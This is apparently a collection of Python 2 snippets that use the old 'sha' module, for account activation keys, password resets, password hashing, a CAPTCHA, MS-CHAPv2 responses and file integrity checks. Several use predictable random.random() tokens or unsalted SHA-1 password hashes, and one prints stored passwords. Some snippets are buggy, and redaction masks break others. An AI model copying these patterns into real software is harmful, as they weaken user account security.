def register(request): if request.method == "POST": form = UserRegistrationForm(request.POST) if form.is_valid(): username = form.cleaned_data['username'] password = form.cleaned_data['password'] first_name = form.cleaned_data['first_name'] last_name = form.cleaned_data['last_name'] email = form.cleaned_data['email'] user = User.objects.create_user(username, email, password) user.first_name = first_name user.last_name = last_name user.is_active = False user.save() salt = sha.new(str(random.random())).hexdigest()[:5] activation_key = sha.new(salt + user.username).hexdigest() user_profile = UserProfile(user=user, activation_key=activation_key) user_profile.save() base_url = request.get_host() account_activation_link = "%s/user_id=%s&auth_key=%s" % (base_url, username, activation_key) subject = "Welcome to WebSaver! Please activate your account." template_var = { "username": username, "account_activation_link": account_activation_link } send_template_email(subject, "*****@*****.**", [email], "websaver/template/emails/registration_activation_email.html", template_var) return HttpResponseRedirect('/') else: form = UserRegistrationForm(auto_id="%s_id") c = RequestContext(request, { 'form': form, }) c.update(csrf(request)) t = loader.get_template('websaver/template/base.html') return HttpResponse(t.render(c))
def register(request): code = "" if request.method == 'POST': username = request.POST['username'] password = request.POST['password'] email = request.POST['email'] form = RegistrationForm(request.POST) if form.is_valid(): salt = sha.new(str(random.random())).hexdigest()[:5] activation_code = sha.new(salt+username).hexdigest() key_expires = datetime.datetime.today() + datetime.timedelta(7) user = User.objects.create_user(username=username, email=email, password=password) user.is_active = False user.save() profile = form.save(commit=False) profile.user = user profile.activation_code = activation_code profile.key_expires = key_expires profile.save() return render_to_response('accounts/register.html', {'code':activation_code, 'profile':profile}, context_instance=RequestContext(request)) else: salt = sha.new(str(random.random())).hexdigest()[:5] activation_code = sha.new(salt+username).hexdigest() return render_to_response('accounts/register.html', {'form':form, 'code':activation_code}, context_instance=RequestContext(request)) else: form = RegistrationForm() return render_to_response('accounts/register.html',{'form':form, 'code':code})
def _get_sha1_auth(self): ''' get sha of sid + Initiator jid + Target jid ''' if 'is_a_proxy' in self.file_props: del(self.file_props['is_a_proxy']) return sha.new('%s%s%s' % (self.sid, self.file_props['proxy_sender'], self.file_props['proxy_receiver'])).hexdigest() return sha.new('%s%s%s' % (self.sid, self.initiator, self.target)).hexdigest()
def create_action( self, user, instance, cluster, action, action_value=None, operating_system=None ): # create a new action and expireany older actions for action in self.filter( applicant=user, instance=instance, cluster=cluster, action=action ).exclude(activation_key='ALREADY_ACTIVATED'): action.expire_now() salt = sha.new(str(random.random())).hexdigest()[:5] activation_key = sha.new(salt + user.username).hexdigest() return self.create( applicant=user, instance=instance, cluster=cluster, action=action, action_value=action_value, activation_key=activation_key, operating_system=operating_system )
def register_application_req(request): form = AppRegistrationForm(request.POST) if not form.is_valid(): return render_to_response('applications/register.html', default_context(request, form=form)) ip = request.META['REMOTE_ADDR'] code = request.POST['code'] name = request.POST['name'] email = request.POST['email'] url = request.POST['website_url'] if 'save' in request.POST and request.POST['save'] == 'Save': id = request.POST['id'] print "Updating ea " + id ea = ExternalApplication.objects.get(ea_id=id) ea.ea_name = name ea.ea_code = code ea.ea_contact_email = email ea.ea_web_site_url = url else: # Compute a random key key = sha.new(str(random.randint(0,1000000))+ip+code+name).hexdigest() secret = sha.new(str(random.randint(0,1000000))+code+ip+name).hexdigest() ea = ExternalApplication(ea_name=name,ea_code=code,ea_key=key,ea_ip_address=ip,ea_active_status='Pending',ea_secret=secret, ea_contact_email=email, ea_web_site_url=url) # add authentication token for this application at = AuthenticationToken(at_account_id=None,at_token=key,at_secret=secret) at.save() ea.save() return HttpResponseRedirect('.')
def forgot_password(request): reset_password_form = forms.ResetPasswordForm() username_form = forms.UsernameForm() if request.method == 'GET' and 'password_key' in request.GET: try: profile = UserProfile.objects.get(activation_key = request.GET['password_key']) profile.save() user = profile.user reset_password_form = forms.ResetPasswordForm(initial = {'user' : user.id, }) return render_to_response('users/reset_password_form.html', locals(), context_instance = global_context(request)) except UserProfile.DoesNotExist: raise Http404 elif request.method == 'POST': username_form = forms.UsernameForm(request.POST) if username_form.is_valid(): username = username_form.cleaned_data['username'] user = User.objects.get(username = username) profile = user.get_profile() salt = sha.new(str(random.random())).hexdigest()[:5] profile.activation_key = sha.new(salt+user.username).hexdigest() profile.save() mail_template = get_template('email/forgot_password.html') body = mail_template.render(Context( { 'username' : user.username, 'SITE_URL' : settings.SITE_URL, 'passwordkey' : profile.activation_key } )) send_mail('[Shaastra 2011] Password reset request', body,'*****@*****.**', [user.email,], fail_silently = False) return HttpResponseRedirect('%smyshaastra/forgot_password/done/' % settings.SITE_URL) return render_to_response('users/username_form.html', locals(), context_instance = global_context(request))
def create_inactive_user(self, username, password, email, send_email=True): """ Creates a new User and a new RegistrationProfile for that User, generates an activation key, and mails it. Pass ``send_email=False`` to disable sending the email. """ # Create the user. new_user = User.objects.create_user(username, email, password) new_user.is_active = False new_user.save() # Generate a salted SHA1 hash to use as a key. salt = sha.new(str(random.random())).hexdigest()[:5] activation_key = sha.new(salt+new_user.username).hexdigest() # And finally create the profile. new_profile = self.create(user=new_user, activation_key=activation_key) if send_email: from django.core.mail import send_mail current_domain = Site.objects.get_current().domain subject = "Activate your new account at %s" % current_domain message_template = loader.get_template('registration/activation_email.txt') message_context = Context({ 'site_url': 'http://%s/' % current_domain, 'activation_key': activation_key, 'expiration_days': settings.ACCOUNT_ACTIVATION_DAYS }) message = message_template.render(message_context) send_mail(subject, message, settings.DEFAULT_FROM_EMAIL, [new_user.email]) return new_user
def microidify(mail, nick): "Creates a microid hash" hash = sha.new( sha.new("mailto:" + mail).hexdigest() + sha.new("http://ircious.flukkost.nu/user/%s/" % nick.nickname).hexdigest() ).hexdigest() return "mailto+http:sha1:" + hash
def create_inactive_user(self, username, password, email, send_email=True): # Create the user. new_user = User.objects.create_user(username, email, password) new_user.is_active = False new_user.save() # Generate a salted SHA1 hash to use as a key. salt = sha.new(str(random.random())).hexdigest()[:5] activation_key = sha.new(salt+new_user.username).hexdigest() # And finally create the profile. new_profile = self.create(user=new_user, activation_key=activation_key) if send_email: from django.core.mail import send_mail subject = "Activate your new account at %s" % settings.SITE_URL message_template = loader.get_template('activation_email.txt') message_context = Context({ 'site_url': 'http://%s' % settings.SITE_URL, 'activation_key': activation_key, 'expiration_days': settings.ACCOUNT_ACTIVATION_DAYS }) message = message_template.render(message_context) print settings.DEFAULT_FROM_EMAIL send_mail(subject, message, settings.EMAIL_HOST, [new_user.email]) return new_user
def cadastrarUsuario(request): dados = request.POST senha = dados['senha'] senhaConfirmacao = dados['senhaconfirmacao'] if senha == senhaConfirmacao: #Verifica se os campos senha e confirmação de senha estão preenchidos iguais login = dados['login'] usuario = User.objects.get(username = login) print 'oi' if usuario is None: #caso o usuário não exista #Criando novo usuário inativo newUser = User.objects.create_user(login, login + '@cin.ufpe.br', senha) newUser.is_active = false newUser.save() #Construindo a chave de ativação para a conta salt = sha.new(str(random.random())).hexdigest()[:5] chaveAtivacao = sha.new(salt+new_user.username).hexdigest() dataExpiracao = datetime.datetime.today() + datetime.timedelta(2) c = RequestContext (request, {}) elif usuario.is_active: #caso já exista um usuário com esse login e sua conta esteja ativa c = 'Já existe um usuário com esse login' else: #caso já exista um usuário com esse login mas sua conta não esteja ativa print 'opa' #mandar e-mail else: c = 'Você escreveu duas senhas diferentes' return HttpResponse(c)
def validateUserAndPassword(self, username, password): """ Looks first if the user is configured in the configuration file, e.g. standard users like the "manager" account. If not the user databases, like "Member", are checked. The encrypted password is validated. """ if (username, sha.new(password).hexdigest()) not in users: if len(username) >= 2: # which database to use for user authentification if username[:2].lower() == "mi": user = Member.search(username[2:]) else: self.warning("wrong prefix for username '%s'" % username) raise LoginError, "WrongUsername" # check user exist and unique if user.count() == 0: self.warning("user '%s' not found" % username) raise LoginError, "WrongUsername" elif user.count() > 1: self.warning("User '%s' not unique" % username) raise LoginError, "WrongUsername" else: # check password if user[0].passwordHash == sha.new(password).hexdigest(): # correct user from Member database self.info("User '%s' authorized" % username) else: self.warning("Wrong password for user '%s' in Member database" % username) raise LoginError, "WrongPassword" else: self.warning("Username '%s' to short" % username) raise LoginError, "WrongUsername"
def signIn(): print "Please input ID and Password" id_plain = raw_input("User ID : ") acc = open("access", "r") user_id = [] user_pw = [] for line in acc: user_id.append(line.split(":")[0]) user_pw.append(line.split(":")[1].strip().split(", ")) user_acc = dict(zip(user_id, user_pw)) print user_acc while (id_plain in user_id) == False: print "Sorry, you are not registered member." yn = raw_input("Are you want to re-input your id? (Y / N)") if yn == 'Y' or yn == 'y': id_plain = raw_input("User ID : ") elif yn == 'N' or yn == 'n': print "Return to main menu" return 0 password_plain = raw_input("User Password : "******"Sorry, the entered password is not correct" yn = raw_input("Are you want to re-input your password? (Y / N)") if yn == 'Y' or yn == 'y': password_plain = raw_input("User Password : "******"Return to main menu" return 0 print "Hello", id_plain + ":", user_acc[id_plain][1:], "!"
def set_mail(user, email): if email != "": profile = user.get_profile() # Build the activation key for their account salt = sha.new(str(random.random())).hexdigest()[:5] confirmation_key = sha.new(salt+user.username).hexdigest() key_expires = datetime.datetime.today() + datetime.timedelta(2) profile.confirmation_key = confirmation_key profile.key_expires = key_expires profile.mail_confirmed = False profile.save() user.email = email user.save() # Send an email with the confirmation link email_subject = 'Your new hardware-fuer-alle.de email confirmation' email_body = """Hallo, %s, um deine E-Mail Adresse bei hardware-fuer-alle.de einzutragen musst du sie noch bestätigen\n Bitte klicke hierfür innerhalb der nächsten 48 Stunden auf diesen Link:\n\nhttp://hardware-fuer-alle.de/beta/accounts/confirm/%s""" % ( user.username, profile.confirmation_key) send_mail(email_subject, email_body, '*****@*****.**', [user.email])
def cadastrar_usuario(request): dados = template_data(request) if request.method == 'POST': form = UsuarioForm(request.POST, auto_id=False, error_class=DivErrorList) if form.is_valid(): u = form.save() salt = sha.new(str(random.random())).hexdigest()[:5] chave = sha.new(salt + u.username).hexdigest() expira = datetime.datetime.today() + datetime.timedelta(2) usuario = Usuario(conta=u, cpf=form.cleaned_data['cpf'], chave_de_ativacao=chave, expiracao_chave=expira, nascimento=form.cleaned_data['nascimento'], sexo=form.cleaned_data['sexo'], telefone=form.cleaned_data['telefone_contato']) request.session['pass'] = form.cleaned_data['senha'] request.session['conta'] = u request.session['usuario_cadastro'] = usuario form = EnderecoForm() dados['form'] = form return render_to_response('finalizar_cadastro.html', dados, context_instance=RequestContext(request)) else: dados['form'] = form return render_to_response('cadastro.html', dados, context_instance=RequestContext(request)) else: form = UsuarioForm() dados['form'] = form return render_to_response('cadastro.html', dados, context_instance=RequestContext(request))
def _verify_ftp_upload_integrity(file, file_url): """Download the file, and make sure that it matches the original. Returns True on success, and raises an Exception on failure. FIXME: Ideally we wouldn't have to download the whole file, we'd have some better way of verifying the integrity of the upload. """ file.seek(0) old_hash = sha.new(file.read()).hexdigest() tries = 0 # Try to download the file. Increase the number of retries, or the # timeout duration, if the server is particularly slow. # eg: Akamai usually takes 3-15 seconds to make an uploaded file # available over HTTP. while tries < config.ftp_upload_integrity_retries: time.sleep(3) tries += 1 try: temp_file = urllib2.urlopen(file_url) new_hash = sha.new(temp_file.read()).hexdigest() temp_file.close() # If the downloaded file matches, success! Otherwise, we can # be pretty sure that it got corrupted during FTP transfer. if old_hash == new_hash: return True else: raise FTPUploadException( 'Uploaded File and Downloaded File did not match') except urllib2.HTTPError, e: pass
def set_password(self, raw_password): """ Hashes the password w/ random salt and stores it. """ salt = sha.new(str(random.random())).hexdigest()[:7] hsh = sha.new(salt + smart_str(raw_password)).hexdigest() self.password = '******' % (salt, hsh)
def generate_image(self, ipAddress): num_numbers = randint(1, 4) num_letters = 5 - num_numbers tipo_validacao = randint(0,1) pergunta="" imgtextL = ''.join([choice('QWERTYUOPASDFGHJKLZXCVBNM') for i in range(num_letters)]) imgtextN = ''.join([choice('123456789') for i in range(num_numbers)]) SALT = SECRET_KEY[:20] imgtext = ''.join([choice(imgtextL + imgtextN) for i in range(5)]) im=Image.open(MEDIA_ROOT + 'images/jpg/captcha.jpg') draw = ImageDraw.Draw(im) font = ImageFont.truetype("/media/font/yellow_submarine.ttf", 30) draw.text((28,10),imgtext, font=font, fill=(255,255,255)) temp = MEDIA_ROOT + "images/temp/" + ipAddress + '.jpg' tempname = ipAddress + '.jpg' im.save(temp, "JPEG") if tipo_validacao == 0: pergunta="números" imghash = sha.new(SALT+imgtextN).hexdigest() if tipo_validacao == 1: pergunta="letras" imghash = sha.new(SALT+imgtextL).hexdigest() return {'captcha_img_name':tempname, 'hash_code_captcha':imghash, 'tipo_validacao':pergunta}
def register(request): if request.method == "POST": form = UserCreateForm(request.POST) if form.is_valid() : username = form.clean_username() password = form.clean_password2() salt = sha.new(str(random.random())).hexdigest()[:5] activation_key = sha.new(salt+username).hexdigest() key_expires = datetime.datetime.today() + datetime.timedelta(2) user = form.save() # user.is_active = False user.save() profile = UserProfile(user=user, activation_key=activation_key, key_expires=key_expires) profile.save() user = authenticate(username=username, password=password) login(request, user) #do stuff return HttpResponseRedirect("/") else: form = UserCreateForm() return render_to_response("registration/register.html", {"form" : form }, context_instance=RequestContext(request))
def create_inactive_user(self, username, password, email, send_email=True): """ Creates a new User and a new RegistrationProfile for that User, generates an activation key, and mails it. Pass ``send_email=False`` to disable sending the email. """ # Create the user. new_user = User.objects.create_user(username, email, password) new_user.is_active = False new_user.save() # Generate a salted SHA1 hash to use as a key. salt = sha.new(str(random.random())).hexdigest()[:5] activation_key = sha.new(salt+new_user.email).hexdigest() # And finally create the profile. new_profile = self.create(user=new_user, activation_key=activation_key) if send_email: current_domain = Site.objects.get_current().domain contxt=Context({ 'site_url': 'http://%s/' % current_domain,'activation_key': activation_key,'expiration_days': settings.ACCOUNT_ACTIVATION_DAYS }) message_template = loader.get_template('registration/activation_email.html') message=message_template.render(contxt) msg=EmailMultiAlternatives('Activate your account at Itechtalents',message,settings.DEFAULT_FROM_EMAIL,[new_user.email]) msg.attach_alternative(message, "text/html") msg.send() return new_user
def file_upload_view_verify(request): """ Use the sha digest hash to verify the uploaded contents. """ form_data = request.POST.copy() form_data.update(request.FILES) # Check to see if unicode names worked out. if not request.FILES['file_unicode'].file_name.endswith(u'test_\u4e2d\u6587_Orl\xe9ans.jpg'): return HttpResponseServerError() for key, value in form_data.items(): if key.endswith('_hash'): continue if key + '_hash' not in form_data: continue submitted_hash = form_data[key + '_hash'] if isinstance(value, UploadedFile): new_hash = sha.new(value.read()).hexdigest() else: new_hash = sha.new(value).hexdigest() if new_hash != submitted_hash: return HttpResponseServerError() return HttpResponse('')
def send_confirmation(self, email_address): salt = sha.new(str(random())).hexdigest()[:5] confirmation_key = sha.new(salt + email_address.email).hexdigest() current_site = Site.objects.get_current() # check for the url with the dotted view path try: path = reverse("emailconfirmation.views.confirm_email", args=[confirmation_key]) except NoReverseMatch: # or get path with named urlconf instead path = reverse( "emailconfirmation_confirm_email", args=[confirmation_key]) activate_url = u"http://%s%s" % (unicode(current_site.domain), path) context = { "user": email_address.user, "activate_url": activate_url, "current_site": current_site, "confirmation_key": confirmation_key, } subject = render_to_string( "emailconfirmation/email_confirmation_subject.txt", context) # remove superfluous line breaks subject = "".join(subject.splitlines()) message = render_to_string( "emailconfirmation/email_confirmation_message.txt", context) send_mail(subject, message, settings.DEFAULT_FROM_EMAIL, [email_address.email], priority="high") return self.create( email_address=email_address, sent=datetime.now(), confirmation_key=confirmation_key)
def get_my_client(sandbox=True): # WARNING -don't forget path wsse file !!!! #print path #print os.getcwd() #Variables user_name='*****@*****.**' password = '******' #Init client if sandbox: wsdl_file='sandbox_ShippingAPI_V2_0_8.wsdl' application_id=sandbox_app_id else: wsdl_file='ShippingAPI_V2_0_8.wsdl' application_id=work_app_id client= getClient('file://'+path+'/schemas/'+wsdl_file, key, cert) #Calc Variables tt=datetime.now() create_date = time.strftime('%Y-%m-%dT%H:%M:%SZ', tt.timetuple()) nonce = str(random.randint(0,9999999999)) hashedpassword = sha.new(password).digest() digest = sha.new(nonce + create_date + hashedpassword).digest() pass_digi = base64.b64encode(digest) code_nonce = base64.b64encode(nonce) trans_id= str(random.randint(0,9999999999)) #Print debug info #print 'Nonce = ', nonce #print 'pass_digi= ', pass_digi #print 'code_nonce= ', code_nonce #print 'create_date= ', create_date #print 'trans id= ', trans_id #Set Security Header security = Security() token = UsernameToken(user_name, pass_digi) token.setnonce(code_nonce) token.setcreated(create_date) security.tokens.append(token) client.set_options(wsse=security) #Set vals integrationHeader indetification={ 'applicationId': application_id, 'transactionId':trans_id, } header={ 'dateTime': create_date, 'version': '2', 'identification':indetification, } return client, header
def save(self,request): new_user=super(UserForm,self).save(commit=False) new_user.username=new_user.username.lower() new_user.slug=slugify(new_user.username) new_user.is_active=False new_user.set_password(new_user.password) #create activation key salt = sha.new(str(random.random())).hexdigest()[:5] new_user.activation_key = sha.new(salt+new_user.username).hexdigest() new_user.save() #EMAIL USER OF ACTIVATION KEY from django.core.mail import send_mail if request.is_secure(): current_site = 'https://%s' % request.get_host() else: current_site = 'http://%s' % request.get_host() subject = render_to_string('account/activation_email_subject.html', { 'site': current_site }) # Email subject *must not* contain newlines subject = ''.join(subject.splitlines()) message = render_to_string('account/activation_email.html', { 'activation_key': new_user.activation_key, 'expiration_days': settings.ACCOUNT_ACTIVATION_DAYS, 'site': current_site }) if getattr(settings,'EMAIL_HOST',False): send_mail(subject, message, settings.DEFAULT_FROM_EMAIL, [new_user.email]) return new_user
def pending_message(from_address, to_address, subject, comment): """ Create a pending message and send the activation email. """ import random, sha from django.contrib.sites.models import Site from django.conf import settings # Store the email in the pending message db salt = sha.new(str(random.random())).hexdigest()[:5] activation_key = sha.new(salt+subject+from_address).hexdigest() # Fix the to_address if necessary to_address = ','.join(to_address) # Prepare the message to send to the user message = Pending_Messages(from_address=from_address, to_address=to_address, subject=subject, comment=comment, digest=activation_key) message.save() message_template = loader.get_template('activate_comment.txt') message_context = Context({ 'activation_key': activation_key, 'subject': subject, 'text': comment, 'to_address': to_address, 'from_address': from_address, 'site_url': Site.objects.get_current().domain }) message = message_template.render(message_context) # Send the email to the user subject = 'Activate the bug actions you prepared at Amancay' send_mail(subject, message, settings.DEFAULT_FROM_EMAIL, [from_address])
def register(request): if request.POST: regForm = RegistrationForm(request.POST) if request.user.is_authenticated(): return render_to_response('Accounts/register.html',{'has_account':True}) new_data = request.POST.copy() errors = regForm.get_validation_errors(new_data) if not errors: # save the user regForm.do_html2python(new_data) new_user = regForm.save(new_data) # Build the activation key for their account salt = sha.new(str(random.random())).hexdigest()[:5] activation_key = sha.new(salt+new_user.username).hexdigest() key_expires = datetime.datetime.today() + datetime.timedelta(2) # Create and save their profile new_profile = UserProfile(user = new_user, activation_key = activation_key,key_expires=key_expires) new_profile.save else: regForm=RegistrationForm() return render_to_response('Accounts/register.html',{ 'form':regForm})
def deactivate_subscription(self, instance, email_template='newsletters/opt-out.html', send_email=True): """ emails its deactivation key to the user. Returns the Subscription. To disable the email, call with send_email=False. """ salt = sha.new(str(random.random())).hexdigest()[:5] deactivation_key = sha.new(salt+instance.email).hexdigest()[:16] instance.activation_key = deactivation_key instance.save() if send_email: from django.core.mail import send_mail from django.template.loader import render_to_string from django.contrib.sites.models import Site current_site = Site.objects.get_current() subject = ugettext('Confirm your unsubscription to %s' % (current_site.name)) message = render_to_string(email_template, { 'deactivation_key': instance.activation_key, 'site': current_site, 'user': instance, 'email': instance.email }) send_mail(subject, message, settings.NEWSLETTER_FROM_EMAIL, [instance.email], fail_silently=True) return instance
def create_inactive_subscription(self, instance, email_template='newsletters/opt-in.html', send_email=True, activation_key=None): """ Creates a new, inactive Subscription, generates a Subscription and emails its activation key to the user. Returns the new Subscription. To disable the email, call with send_email=False. """ if not activation_key: salt = sha.new(str(random.random())).hexdigest()[:5] activation_key = sha.new(salt+instance.email).hexdigest()[:16] instance.activation_key = activation_key instance.subscribed = False instance.save() if send_email: from django.core.mail import send_mail from django.template.loader import render_to_string from django.contrib.sites.models import Site current_site = Site.objects.get_current() subject = ugettext('Confirm your subscription to %s' % (current_site.name)) message = render_to_string(email_template, { 'activation_key': instance.activation_key, 'expiration_days': settings.NEWSLETTER_ACTIVATION_DAYS, 'site': current_site, 'user': instance, 'email': instance.email }) send_mail(subject, message, settings.NEWSLETTER_FROM_EMAIL, [instance.email], fail_silently=True) return instance
def create_email_change(self, user, new_email, send_email=True): """ Create ActionRecord for email change and mails link with activation key to user's email. Pass ``send_email=False`` to disable sending the email. """ if not user.email: user.email = new_email user.save() return # Generate a salted SHA1 hash to use as a key. salt = sha.new(str(random.random())).hexdigest()[:5] action_key = sha.new(salt+user.email).hexdigest() # And finally create the record. user.email_new = new_email user.save() record, created = self.get_or_create(user=user, type='E', defaults={'action_key': action_key}) if send_email: current_domain = Site.objects.get_current().domain subject = "Change your email address at %s" % current_domain message_template = loader.get_template('accounts/password_reset.txt') message_context = Context({'site_url': '%s://%s' % (settings.SITE_PROTOCOL, current_domain), 'action_key': record.action_key, 'expiration_days': settings.ACTION_RECORD_DAYS, 'user': user}) message = message_template.render(message_context) user.email_user(subject, message, settings.DEFAULT_FROM_EMAIL) return record
def mkpasswd(pwd,hash='ssha'): """Generate hashed passwords. Originated from mkpasswd in Luma """ alg = { 'ssha':'Seeded SHA-1', 'sha':'Secure Hash Algorithm', 'smd5':'Seeded MD5', 'md5':'MD5', 'crypt':'Standard unix crypt' } # Don't add support for sambapasswords unless we're using it if (update_sambapassword): alg['lmhash'] = 'Lanman hash' alg['nthash'] = 'NT Hash' if hash not in alg.keys(): return "Algorithm <%s> not supported in this version." % hash else: salt = getsalt() if hash == "ssha": return "{SSHA}" + base64.encodestring(sha.new(str(pwd) + salt).digest() + salt) elif hash == "sha": return "{SHA}" + base64.encodestring(sha.new(str(pwd)).digest()) elif hash == "md5": return "{SHA}" + base64.encodestring(md5.new(str(pwd)).digest()) elif hash == "smd5": return "{SMD%}" + base64.encodestring(md5.new(str(pwd) + salt).digest() + salt) elif hash == "crypt": return "{CRYPT}" + crypt.crypt(str(pwd),getsalt(length=2)) # nt/lm-hash are used directly in their own password-attributes.. no need to prefix the hash elif hash == "lmhash": return smbpasswd.lmhash(pwd) elif hash == "nthash": return smbpasswd.nthash(pwd)
def save(self, *args, **kwargs): if not self.id: self.key_generated = timezone.now() salt = sha.new(str(random.random())).hexdigest()[:5] verification_key = sha.new(salt+self.email).hexdigest() self.verification_key = verification_key self.set_unusable_password() self.is_verified=False subject = "Activate your account" print self.email html_content = render_to_string('registration/mail/welcome.html', { 'first_name':self.first_name, 'last_name':self.last_name, 'site_url': settings.SITE_URL, 'verification_key': verification_key, 'expiration_days': settings.ACCOUNT_ACTIVATION_DAYS }) text_content = strip_tags(html_content) # create the email, and attach the HTML version as well. msg = EmailMultiAlternatives(subject, text_content, settings.EMAIL_TO, to=[self.email]) msg.attach_alternative(html_content, "text/html") msg.send() super(AppUser, self).save(*args, **kwargs)
def gen_boundary(): """Returns a random string to use as the boundary for a message""" bits = random.getrandbits(160) return sha.new(str(bits)).hexdigest()
def token2hash(token): m = sha.new(token) return m.digest()[:8]
def sha1(file): z = open(file, 'rb') sha1 = sha.new(z.read()).hexdigest() return (sha1)
def generate_authenticator_response(nt_response, peer_challenge, authenticator_challenge, username, password=False, password_hash=False): """ GenerateAuthenticatorResponse( IN 0-to-256-unicode-char Password, IN 24-octet NT-Response, IN 16-octet PeerChallenge, IN 16-octet AuthenticatorChallenge, IN 0-to-256-char UserName, OUT 42-octet AuthenticatorResponse ) { 16-octet PasswordHash 16-octet PasswordHashHash 8-octet Challenge /* * "Magic" constants used in response generation */ Magic1[39] = {0x4D, 0x61, 0x67, 0x69, 0x63, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x20, 0x73, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x74}; Magic2[41] = {0x50, 0x61, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x20, 0x69, 0x74, 0x20, 0x64, 0x6F, 0x20, 0x6D, 0x6F, 0x72, 0x65, 0x20, 0x74, 0x68, 0x61, 0x6E, 0x20, 0x6F, 0x6E, 0x65, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E}; /* * Hash the password with MD4 */ NtPasswordHash( Password, giving PasswordHash ) /* * Now hash the hash */ HashNtPasswordHash( PasswordHash, giving PasswordHashHash) SHAInit(Context) SHAUpdate(Context, PasswordHashHash, 16) SHAUpdate(Context, NTResponse, 24) SHAUpdate(Context, Magic1, 39) SHAFinal(Context, Digest) ChallengeHash( PeerChallenge, AuthenticatorChallenge, UserName, giving Challenge) SHAInit(Context) SHAUpdate(Context, Digest, 20) SHAUpdate(Context, Challenge, 8) SHAUpdate(Context, Magic2, 41) SHAFinal(Context, Digest) /* * Encode the value of 'Digest' as "S=" followed by * 40 ASCII hexadecimal digits and return it in * AuthenticatorResponse. * For example, * "S=0123456789ABCDEF0123456789ABCDEF01234567" */ } """ Magic1 = "\x4D\x61\x67\x69\x63\x20\x73\x65\x72\x76\x65\x72\x20\x74\x6F\x20\x63\x6C\x69\x65\x6E\x74\x20\x73\x69\x67\x6E\x69\x6E\x67\x20\x63\x6F\x6E\x73\x74\x61\x6E\x74" Magic2 = "\x50\x61\x64\x20\x74\x6F\x20\x6D\x61\x6B\x65\x20\x69\x74\x20\x64\x6F\x20\x6D\x6F\x72\x65\x20\x74\x68\x61\x6E\x20\x6F\x6E\x65\x20\x69\x74\x65\x72\x61\x74\x69\x6F\x6E" # the2nd: modifed for OTPme to allow verification without the need to have a clear-text password # if we got a password we have to generate its hash and hash_hash if password: password_hash = nt_password_hash(password, False) password_hash_hash = hash_nt_password_hash(password_hash) elif password_hash: # if we got the password_hash we only have to generate the hash_hash password_hash_hash = hash_nt_password_hash(password_hash) sha_hash = sha.new() sha_hash.update(password_hash_hash) sha_hash.update(nt_response) sha_hash.update(Magic1) digest = sha_hash.digest() challenge = challenge_hash(peer_challenge, authenticator_challenge, username) sha_hash = sha.new() sha_hash.update(digest) sha_hash.update(challenge) sha_hash.update(Magic2) digest = sha_hash.digest() return "S=" + convert_to_hex_string(digest)
def _shaDecoder(self, cleartext, cryptotext): import sha return sha.new(cleartext).hexdigest() == cryptotext
def _shaEncoder(self, cleartext): import sha return sha.new(cleartext).hexdigest()
def apply(self, option=None): action_record = [] # Step 1: Check to see if NTP package is installed. results = sb_utils.os.software.is_installed(pkgname=self.__pkgname) if results == False: msg = "%s package is not installed on the system" % self.__pkgname self.logger.info(self.module_name, 'Not Applicable: ' + msg) return 0, '' # Did module receive ntp.conf text? if option == None or option == '': msg = "No ntp.conf text provided" self.logger.error(self.module_name, 'Apply Error: ' + msg) raise tcs_utils.ActionError('%s %s' % (self.module_name, msg)) # Capture current running status? results = sb_utils.os.service.status(svcname=self.__svcname) if results == True: action_record.append('RUNNING=yes\n') else: action_record.append('RUNNING=no\n') # Chkconfig status? Is it configured to be started during boot? results = sb_utils.os.service.is_enabled(svcname=self.__svcname) if results == True: action_record.append('CHKCONFIG=on\n') else: sb_utils.os.service.enable(svcname=self.__svcname) action_record.append('CHKCONFIG=off\n') # Replace contents of ntp.conf it doesn't match the provided content master_fingerprint = sha.new(option).hexdigest() apply_problem = False if self._sha1(self.__ntpconf) != master_fingerprint: if os.path.isfile(self.__ntpconf): # Capture ntp.conf contents try: infile = open(self.__ntpconf, 'r') lines = infile.readlines() infile.close() except IOError, err: msg = "Unable to read %s: %s" % (self.__ntpconf, err) self.logger.error(self.module_name, 'Apply Error: ' + msg) raise tcs_utils.ActionError('%s %s' % (self.module_name, msg)) else: lines = "EMPTY\n" record = "NTPCONFIGFILE\n%s\n" % (''.join(lines)) action_record.append(record) # Copy provided content into ntp.conf try: out_obj = open(self.__ntpconf, 'w') out_obj.write(option) out_obj.close() msg = "Apply Performed: %s updated." % (self.__ntpconf) self.logger.notice(self.module_name, msg) except (OSError, IOError), err: apply_problem = True msg = "Unable to update %s: %s" % (self.__ntpconf, err) self.logger.error(self.module_name, 'Apply Error: ' + msg)
def new(algo): if algo == 'md5': return md5.new() if algo == 'sha1': return sha.new() raise ValueError, "Bad checksum type"
def hashPassword(sid, password): """ Create a SHA1-digest string of a session identifier and password. """ import sha return sha.new("%s%s" % (sid, password)).hexdigest()
def _make_hash(data): return "hash-data:SHA:" + sha.new(pickle.dumps(data)).hexdigest()[:20]
def findInvalidFiles(self): filesInCurrPiece = [] sha1Hasher = sha.new() pieceUsed = 0L pieceIndex = 0 filesProcessed = 0 for fileName, fileSize in self.fileList: fileIndex = 0 fileChunk = None try: fileData = open(fileName) except IOError: fileData = None while pieceUsed + (fileSize - fileIndex) >= self.pieceLen: sizeToRead = self.pieceLen - pieceUsed try: fileChunk = fileData.read(sizeToRead) if len(fileChunk) < sizeToRead: fileChunk = fileChunk + '\0' * (sizeToRead - len(fileChunk)) except: fileChunk = '\0' * sizeToRead sha1Hasher.update(fileChunk) filesInCurrPiece.append(fileName) if sha1Hasher.digest() != self.pieceList[pieceIndex]: self.badPieceCount = self.badPieceCount + 1 for newInvFile in filesInCurrPiece: if newInvFile not in self.invalidList: self.invalidList.append(newInvFile) else: for newGoodFile in filesInCurrPiece: if newGoodFile not in self.filesWithGood: self.filesWithGood.append(newGoodFile) sha1Hasher = sha.new() pieceUsed = 0 fileIndex = fileIndex + sizeToRead pieceIndex = pieceIndex + 1 filesInCurrPiece = [] print >> sys.stderr, '%(fc)u of %(ft)u files (%(fb)u bad) - %(pc)u of %(pt)u pieces (%(pb)u bad) - %(pct)05.2f%% complete\r' % { 'fc': filesProcessed, 'ft': len(self.fileList), 'fb': len(self.invalidList), 'pc': pieceIndex, 'pt': 